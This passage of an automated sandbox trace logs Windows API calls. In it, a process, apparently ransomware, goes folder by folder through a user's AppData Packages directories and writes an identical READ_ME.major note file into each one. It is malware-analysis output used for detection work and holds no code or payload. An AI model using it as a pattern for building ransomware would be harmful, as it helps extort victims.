nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0165.763] CloseHandle (hObject=0x75c) returned 1 [0165.764] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb85500d, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xeb8a14cb, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xeb8a14cb, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft.NET.Native.Runtime.1.3_8wekyb3d8bbwe", cAlternateFileName="MICROS~1.3_8")) returned 1 [0165.764] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.3_8wekyb3d8bbwe\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.runtime.1.3_8wekyb3d8bbwe\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0165.765] WriteFile (in: hFile=0x75c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0165.765] CloseHandle (hObject=0x75c) returned 1 [0165.766] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94b424e4, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x94bb4bf1, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x94bb4bf1, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft.NET.Native.Runtime.1.4_8wekyb3d8bbwe", cAlternateFileName="MICROS~1.4_8")) returned 1 [0165.766] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.4_8wekyb3d8bbwe\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.runtime.1.4_8wekyb3d8bbwe\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0165.766] WriteFile (in: hFile=0x75c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0165.767] CloseHandle (hObject=0x75c) returned 1 [0165.767] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28b9688c, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0x3509b345, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3509b345, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft.NET.Native.Runtime.1.6_8wekyb3d8bbwe", cAlternateFileName="MICROS~2.6_8")) returned 1 [0165.767] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.6_8wekyb3d8bbwe\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.runtime.1.6_8wekyb3d8bbwe\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0165.769] WriteFile (in: hFile=0x75c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0165.770] CloseHandle (hObject=0x75c) returned 1 [0165.770] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28e030d8, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x8d747894, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x8d974b3f, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft.Office.OneNote_8wekyb3d8bbwe", cAlternateFileName="MICROS~1.ONE")) returned 1 [0165.770] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Office.OneNote_8wekyb3d8bbwe\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.office.onenote_8wekyb3d8bbwe\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0165.773] WriteFile (in: hFile=0x75c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0165.774] CloseHandle (hObject=0x75c) returned 1 [0165.774] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26f04703, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd6e72acf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd6e72acf, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft.Office.Sway_8wekyb3d8bbwe", cAlternateFileName="MICROS~1.SWA")) returned 1 [0165.774] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Office.Sway_8wekyb3d8bbwe\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.office.sway_8wekyb3d8bbwe\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0165.776] WriteFile (in: hFile=0x75c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0165.776] CloseHandle (hObject=0x75c) returned 1 [0165.776] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5cb721c, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd5dc228d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd5dc228d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft.OneConnect_8wekyb3d8bbwe", cAlternateFileName="MICROS~2.ONE")) returned 1 [0165.778] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.OneConnect_8wekyb3d8bbwe\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.oneconnect_8wekyb3d8bbwe\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0165.779] WriteFile (in: hFile=0x75c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0165.780] CloseHandle (hObject=0x75c) returned 1 [0165.780] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x236d6f79, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd4774ad5, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd4774ad5, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft.People_8wekyb3d8bbwe", cAlternateFileName="MICROS~1.PEO")) returned 1 [0165.780] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.People_8wekyb3d8bbwe\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.people_8wekyb3d8bbwe\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0165.782] WriteFile (in: hFile=0x75c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0165.783] CloseHandle (hObject=0x75c) returned 1 [0165.783] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f649af8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7f7086bb, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7f7086bb, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft.PPIProjection_cw5n1h2txyewy", cAlternateFileName="MICROS~1.PPI")) returned 1 [0165.783] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.PPIProjection_cw5n1h2txyewy\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.ppiprojection_cw5n1h2txyewy\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0165.838] WriteFile (in: hFile=0x75c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0165.838] CloseHandle (hObject=0x75c) returned 1 [0165.839] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2b585e2b, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0x8b121dc6, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x8b2eb9cf, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft.Services.Store.Engagement_8wekyb3d8bbwe", cAlternateFileName="MICROS~1.ENG")) returned 1 [0165.839] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Services.Store.Engagement_8wekyb3d8bbwe\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.services.store.engagement_8wekyb3d8bbwe\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0165.842] WriteFile (in: hFile=0x75c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0165.843] CloseHandle (hObject=0x75c) returned 1 [0165.843] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3186030, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x88a3d6df, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x88e698d0, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft.SkypeApp_kzf8qxf38zg5c", cAlternateFileName="MICROS~1.SKY")) returned 1 [0165.843] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.SkypeApp_kzf8qxf38zg5c\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.skypeapp_kzf8qxf38zg5c\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0165.983] WriteFile (in: hFile=0x75c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0165.984] CloseHandle (hObject=0x75c) returned 1 [0165.984] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd30f451d, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd3166c27, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd3166c27, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft.StorePurchaseApp_8wekyb3d8bbwe", cAlternateFileName="MICROS~1.STO")) returned 1 [0165.985] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.StorePurchaseApp_8wekyb3d8bbwe\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.storepurchaseapp_8wekyb3d8bbwe\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0167.326] WriteFile (in: hFile=0x75c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0167.327] CloseHandle (hObject=0x75c) returned 1 [0167.327] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe3433d3f, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x35ff46f7, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x35ff46f7, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft.VCLibs.140.00_8wekyb3d8bbwe", cAlternateFileName="MICROS~1.00_")) returned 1 [0167.327] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.VCLibs.140.00_8wekyb3d8bbwe\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.vclibs.140.00_8wekyb3d8bbwe\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0167.338] WriteFile (in: hFile=0x75c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0167.339] CloseHandle (hObject=0x75c) returned 1 [0167.339] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc6065f77, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xc66f4772, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xc66f4772, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft.Wallet_8wekyb3d8bbwe", cAlternateFileName="MICROS~1.WAL")) returned 1 [0167.339] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Wallet_8wekyb3d8bbwe\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.wallet_8wekyb3d8bbwe\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0167.451] WriteFile (in: hFile=0x75c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0167.452] CloseHandle (hObject=0x75c) returned 1 [0167.452] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x771d0d50, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x77243451, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x77243451, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft.Windows.Apprep.ChxApp_cw5n1h2txyewy", cAlternateFileName="MICROS~1.CHX")) returned 1 [0167.452] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Apprep.ChxApp_cw5n1h2txyewy\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.apprep.chxapp_cw5n1h2txyewy\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0167.454] WriteFile (in: hFile=0x75c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0167.455] CloseHandle (hObject=0x75c) returned 1 [0167.455] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6bfb93d2, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x7962cbd4, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7975de94, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy", cAlternateFileName="MICROS~1.ASS")) returned 1 [0167.455] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.assignedaccesslockapp_cw5n1h2txyewy\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0167.457] WriteFile (in: hFile=0x75c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0167.458] CloseHandle (hObject=0x75c) returned 1 [0167.458] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74ba56ed, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd05a99ea, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xd05a99ea, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy", cAlternateFileName="MICROS~1.CLO")) returned 1 [0167.458] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cloudexperiencehost_cw5n1h2txyewy\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0167.459] WriteFile (in: hFile=0x75c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0167.460] CloseHandle (hObject=0x75c) returned 1 [0167.460] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7659308d, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xddff7455, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xddff7455, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy", cAlternateFileName="MICROS~2.CON")) returned 1 [0167.460] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0167.461] WriteFile (in: hFile=0x75c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0167.461] CloseHandle (hObject=0x75c) returned 1 [0167.461] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x814d4f06, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xdade5d03, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xdade5d03, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft.Windows.Cortana_cw5n1h2txyewy", cAlternateFileName="MICROS~1.COR")) returned 1 [0167.461] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0167.462] WriteFile (in: hFile=0x75c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0167.463] CloseHandle (hObject=0x75c) returned 1 [0167.463] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x75dff3f8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x75e71ae4, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x75e71ae4, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft.Windows.HolographicFirstRun_cw5n1h2txyewy", cAlternateFileName="MICROS~1.HOL")) returned 1 [0167.463] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.HolographicFirstRun_cw5n1h2txyewy\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.holographicfirstrun_cw5n1h2txyewy\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0167.521] WriteFile (in: hFile=0x75c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0167.521] CloseHandle (hObject=0x75c) returned 1 [0167.522] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x75403601, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7544fabf, 